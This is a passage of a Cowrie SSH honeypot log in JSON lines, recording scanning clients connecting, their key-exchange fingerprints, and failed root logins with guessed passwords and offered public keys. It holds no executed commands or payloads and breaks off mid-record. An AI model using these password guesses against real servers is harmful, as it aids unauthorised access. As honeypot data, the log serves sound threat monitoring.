{"eventid":"cowrie.login.failed","username":"root","password":"p4sswd","message":"login attempt [root/p4sswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:42.411367Z","src_ip":"43.228.112.254","session":"ae5800dc345f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:43.632934Z","src_ip":"43.228.112.254","session":"ae5800dc345f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":56686,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8996738788c","protocol":"ssh","message":"New connection: 103.98.149.87:56686 (10.17.0.5:22) [session: c8996738788c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:53.087047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:53.160779Z","src_ip":"103.98.149.87","session":"c8996738788c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":65340,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5e273d8d9c0","protocol":"ssh","message":"New connection: 103.219.170.37:65340 (159.203.135.109:22) [session: c5e273d8d9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:53.269622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:53.274568Z","src_ip":"103.219.170.37","session":"c5e273d8d9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:53.345411Z","src_ip":"103.219.170.37","session":"c5e273d8d9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:53.417463Z","src_ip":"103.98.149.87","session":"c8996738788c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd12","message":"login attempt [root/Pa$$w0rd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:53.555901Z","src_ip":"103.219.170.37","session":"c5e273d8d9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deniska","message":"login attempt [root/deniska] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:54.425984Z","src_ip":"103.98.149.87","session":"c8996738788c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:54.626511Z","src_ip":"103.219.170.37","session":"c5e273d8d9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:55.658686Z","src_ip":"103.98.149.87","session":"c8996738788c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"200404a78027","protocol":"ssh","message":"New connection: 103.172.78.219:40100 (10.17.0.5:22) [session: 200404a78027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:58.644083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:58.649561Z","src_ip":"103.172.78.219","session":"200404a78027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:58.916243Z","src_ip":"103.172.78.219","session":"200404a78027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":46044,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dfb8904a76c","protocol":"ssh","message":"New connection: 108.178.7.34:46044 (10.17.0.5:22) [session: 7dfb8904a76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.567382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.576770Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.606827Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qq","message":"login attempt [root/123123qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.712976Z","src_ip":"103.172.78.219","session":"200404a78027","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:31:2c:07:ad:b7:cf:09:88:d6:87:3e:dc:02:5e:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLWGwZINQxk10wTUuSOY0/snu5r2K5Zh5oeF1w+LJ+0HqQtZm+xyZIsxdyq7xKuzCizrlPCTQhI0/kFsJTc1Klv1sZC8Rrx5ejRN+TV6Pe7pPn6uvS0qclmn5oFXAY0qyBy45B/3JCnbb7QPShf+C5/UCx+RH4iG6Qvl7XJz6SnsAeIRE8voocxDXnTJUZfI58URmm+SbG5D5tYAuE447fX7pL0uUnfEnJq6JhwLs5XGTdpCBr9JqtWEVorYFZez68TY4kygDFl5K+nGeOv3hHfxDcd54Jlgve5WyXG0UK6jM6PE8afEnSpXy0WcBYAZrrlwyvTYk/uCa9mGpMTREX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:31:2c:07:ad:b7:cf:09:88:d6:87:3e:dc:02:5e:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.722995Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:31:2c:07:ad:b7:cf:09:88:d6:87:3e:dc:02:5e:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLWGwZINQxk10wTUuSOY0/snu5r2K5Zh5oeF1w+LJ+0HqQtZm+xyZIsxdyq7xKuzCizrlPCTQhI0/kFsJTc1Klv1sZC8Rrx5ejRN+TV6Pe7pPn6uvS0qclmn5oFXAY0qyBy45B/3JCnbb7QPShf+C5/UCx+RH4iG6Qvl7XJz6SnsAeIRE8voocxDXnTJUZfI58URmm+SbG5D5tYAuE447fX7pL0uUnfEnJq6JhwLs5XGTdpCBr9JqtWEVorYFZez68TY4kygDFl5K+nGeOv3hHfxDcd54Jlgve5WyXG0UK6jM6PE8afEnSpXy0WcBYAZrrlwyvTYk/uCa9mGpMTREX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.726674Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:60:d9:01:43:fb:7e:93:e8:e7:e7:6a:3b:3f:ca:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdG6O/VdPU7t8VE8ZIAgzKWWPEL3WZyJCJgSDRcItuACr3zLVwk1ah1vyHfC22ghovnPUxMyMKLETaerpZszyXlxHKXksS3dS1qVjggJleM90LedBNLkFAubhOqE/hCkr7mzUr2Cj1HTiIs32cgwptjH8oESEpCp2LlZ7m3kisJqJ96Wd2j8m4jD5qXw8Se6A+sE6QO9081ZuoY5+gAZxGeCP67GXbR6je2zalJoaOc7sa4IAljxscH0hxuoxmWt60TpxPi9EaYwVnyrpaIbmlWS1FYn3ePJEmvT4Z7QhJXGpEv/gBCkCG9bUUpSRtvOPQC7BQmo/zhyA7Mhdhlawx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:60:d9:01:43:fb:7e:93:e8:e7:e7:6a:3b:3f:ca:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.755461Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:60:d9:01:43:fb:7e:93:e8:e7:e7:6a:3b:3f:ca:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdG6O/VdPU7t8VE8ZIAgzKWWPEL3WZyJCJgSDRcItuACr3zLVwk1ah1vyHfC22ghovnPUxMyMKLETaerpZszyXlxHKXksS3dS1qVjggJleM90LedBNLkFAubhOqE/hCkr7mzUr2Cj1HTiIs32cgwptjH8oESEpCp2LlZ7m3kisJqJ96Wd2j8m4jD5qXw8Se6A+sE6QO9081ZuoY5+gAZxGeCP67GXbR6je2zalJoaOc7sa4IAljxscH0hxuoxmWt60TpxPi9EaYwVnyrpaIbmlWS1FYn3ePJEmvT4Z7QhJXGpEv/gBCkCG9bUUpSRtvOPQC7BQmo/zhyA7Mhdhlawx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.759292Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:35:2c:53:0c:29:99:ff:b7:92:ae:dc:75:58:ec:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaAcxq6hLvVlLdPt3u1SJDbzjGgRUuHG4VVcWxjlPsJdcqKrQH/sSfKdn4E78M4jfdTie2R6nj7/EnXq5NgO09QvmreNA3s2lHs4ryi3EcRXlGXPlJdpDe12EszXw2tt/5Ya4ypvR8bi7LXXMUMUqqLZ4gi5Z1aD/0AaZyTnUiLu6ArSBJk2IY/8SOHKBAUHoM+rQwjDquvfKSu49Df4nqZeWV4uSiLwdTy20hoTYK7gvY3zxA5tVyQpgqwH8bfRo7pQ9rbF7uux/hRXyKlAVNnkalLR4Aay4VaTmXkJeeW6MsgczKg1B0x9/GLuz38Ec29PB7h1uFsJgDaOhvskAV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:35:2c:53:0c:29:99:ff:b7:92:ae:dc:75:58:ec:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.787632Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:35:2c:53:0c:29:99:ff:b7:92:ae:dc:75:58:ec:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaAcxq6hLvVlLdPt3u1SJDbzjGgRUuHG4VVcWxjlPsJdcqKrQH/sSfKdn4E78M4jfdTie2R6nj7/EnXq5NgO09QvmreNA3s2lHs4ryi3EcRXlGXPlJdpDe12EszXw2tt/5Ya4ypvR8bi7LXXMUMUqqLZ4gi5Z1aD/0AaZyTnUiLu6ArSBJk2IY/8SOHKBAUHoM+rQwjDquvfKSu49Df4nqZeWV4uSiLwdTy20hoTYK7gvY3zxA5tVyQpgqwH8bfRo7pQ9rbF7uux/hRXyKlAVNnkalLR4Aay4VaTmXkJeeW6MsgczKg1B0x9/GLuz38Ec29PB7h1uFsJgDaOhvskAV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.793444Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:01:66:d3:b1:67:5e:2c:9b:3d:a3:61:fb:70:b2:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxTpf8NCvPj9al3nN2tdG0QisRhywcPOi0H6RM9LpY+gZ2ayngqbcCa96RTqX+Do/rsyiR1jFSLvUiPgGBi52jKkxSjgs8QKGVrztdv6IOYbJ2dzYF9fuLzsdGYxv3/uBmDuG2LLwQD1tk8AlFDGC+mdKjK4vzHrgMKPZZvSLWSsYOgArtu/skq1SSK2Uden/U48QRJgobIH1gLJexD/OChG8fLtQE3A+jKv5jsEPQbWH7NbBSIxcuBB+5at/SpnyZ0rBCa9nrgWagGjuaDLuL12znJr76mbocYXzmMEVlen+XJmfVw+Ykyenz0NfB8VZyHfsgi9x5l8xPMlUrTtZ1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:01:66:d3:b1:67:5e:2c:9b:3d:a3:61:fb:70:b2:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.821718Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:01:66:d3:b1:67:5e:2c:9b:3d:a3:61:fb:70:b2:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxTpf8NCvPj9al3nN2tdG0QisRhywcPOi0H6RM9LpY+gZ2ayngqbcCa96RTqX+Do/rsyiR1jFSLvUiPgGBi52jKkxSjgs8QKGVrztdv6IOYbJ2dzYF9fuLzsdGYxv3/uBmDuG2LLwQD1tk8AlFDGC+mdKjK4vzHrgMKPZZvSLWSsYOgArtu/skq1SSK2Uden/U48QRJgobIH1gLJexD/OChG8fLtQE3A+jKv5jsEPQbWH7NbBSIxcuBB+5at/SpnyZ0rBCa9nrgWagGjuaDLuL12znJr76mbocYXzmMEVlen+XJmfVw+Ykyenz0NfB8VZyHfsgi9x5l8xPMlUrTtZ1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.825681Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:7c:9d:94:d7:cd:f8:e7:37:68:93:36:cc:a1:b3:59","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI6Rijo7A+aoT6KpladjHVl/kmB91Bo8SrQR6kpONL5x0+/mKfqUgRei4s75f+dHGF2TUhRSRMv4svmyWkm6W+4WvJuxA7rZK+W1HUMUG3aFSSi7TCt+gAJMfL1GWFVW3PY4n1Gh2kZy8E0nf5zaKClkomtKmc9FcqeWOPL6BaNdAAAAFQCJkpdnvObQ6cg0+cXXL8dLHL7TkwAAAIA0rtZJrAGXhJ+AyomLviadbparSG+IxtKYXSMAozAsUY3TEEIXlLtl2ajBARTxmfR6PFvISemKwiiDF35VLYrRd/KTpuFLWI1PA6gv/MsvL9EHoU4VyuZbNBgNnaFNMX2s0mnvnnjYKkp/x9CmNI/EUNHRIkFbFo5iGX7KU0fNYgAAAIB0gJCvq9fs1/uGvInbTtuZkPrbPeHGP+MxhzsxxZK9ljlIIJOWkvkmRLTOtilI0PXYUOZSAR8uqazZLJzm4ib/+MVj1bUbXbrugVi/UUYAcGXsoq3qXUpsZc+gs50tMYmGsAmUxB2GPZrpSvfhlxB+GDZcrbVFZJRqLm9xyDY28Q==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint dd:7c:9d:94:d7:cd:f8:e7:37:68:93:36:cc:a1:b3:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.854778Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:7c:9d:94:d7:cd:f8:e7:37:68:93:36:cc:a1:b3:59","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI6Rijo7A+aoT6KpladjHVl/kmB91Bo8SrQR6kpONL5x0+/mKfqUgRei4s75f+dHGF2TUhRSRMv4svmyWkm6W+4WvJuxA7rZK+W1HUMUG3aFSSi7TCt+gAJMfL1GWFVW3PY4n1Gh2kZy8E0nf5zaKClkomtKmc9FcqeWOPL6BaNdAAAAFQCJkpdnvObQ6cg0+cXXL8dLHL7TkwAAAIA0rtZJrAGXhJ+AyomLviadbparSG+IxtKYXSMAozAsUY3TEEIXlLtl2ajBARTxmfR6PFvISemKwiiDF35VLYrRd/KTpuFLWI1PA6gv/MsvL9EHoU4VyuZbNBgNnaFNMX2s0mnvnnjYKkp/x9CmNI/EUNHRIkFbFo5iGX7KU0fNYgAAAIB0gJCvq9fs1/uGvInbTtuZkPrbPeHGP+MxhzsxxZK9ljlIIJOWkvkmRLTOtilI0PXYUOZSAR8uqazZLJzm4ib/+MVj1bUbXbrugVi/UUYAcGXsoq3qXUpsZc+gs50tMYmGsAmUxB2GPZrpSvfhlxB+GDZcrbVFZJRqLm9xyDY28Q==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.858847Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:37:59.894169Z","src_ip":"108.178.7.34","session":"7dfb8904a76c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":36470,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d58bcd7b4e","protocol":"ssh","message":"New connection: 43.130.57.37:36470 (10.17.0.5:22) [session: c8d58bcd7b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:00.596286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:00.602317Z","src_ip":"43.130.57.37","session":"c8d58bcd7b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha